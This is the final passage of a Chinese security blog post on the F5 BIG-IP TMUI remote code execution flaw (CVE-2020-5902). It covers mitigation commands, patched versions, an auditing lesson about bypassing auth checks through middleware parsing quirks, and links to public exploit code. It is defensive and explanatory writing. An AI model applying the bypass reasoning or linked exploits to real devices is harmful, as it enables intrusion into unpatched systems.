5、执行命令刷新配置文件

save /sys config

6、重启httpd服务

restart sys service httpd

7、禁用IP对TMUI界面的访问

应用升级

BIG-IP 15.x: 15.1.0.4
BIG-IP 14.x: 14.1.2.6
BIG-IP 13.x: 13.1.3.4
BIG-IP 12.x: 12.1.5.2
BIG-IP 11.x: 11.6.5.2
PS:建议还是能升级的尽量升级,缓解措施则使用以上最新的缓解措施,并随时关注官方的更新

文末总结

有时候我们在做代码审计时可能会发现代码中存在和上面“后端代码分析”部分出现的相同的情形——只要访问到该页面并构造请求即可实现文件读取、命令执行等操作,但是就苦于一开始就有权限校验,从而没法利用,通过该漏洞我们可以认识到,如果后端的代码中存在上述类似的问题,我们可以首先看一下目标服务器的相关中间件,看看是否有可利用的解析特性包括文件解析、URL解析等等,该漏洞不仅值得安全研究人员思考借鉴,同时也值得甲方项目负责人、架构师等项目负责人进行思考与借鉴。

参考链接

https://github.com/jas502n/CVE-2020-5902/
https://clouddocs.f5.com/api/tmsh/Other.html
https://support.f5.com/csp/article/K52145254
https://github.com/rapid7/metasploit-framework/pull/13807
https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/
https://www.pwndefend.com/2020/07/07/configuring-syslog-integration-with-f5-big-ip/
https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/
https://github.com/nccgroup/Cyber-Defence/blob/master/Intelligence/CVE-2020-5902/bypass-iocs.md
https://www.question-defense.com/2011/03/28/f5-big-ip-ltm-ve-default-login-big-ip-local-traffic-manager-virtual-edition-console-login
https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

本文来自先知社区

人已赞赏
安全工具

F5 BIG-IP TMUI RCE漏洞(CVE-2020-5902)重现及注意点

2020-7-24 23:42:52

安全工具

Java反序列化学习之Commons-Collections1

2020-7-24 23:43:00

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索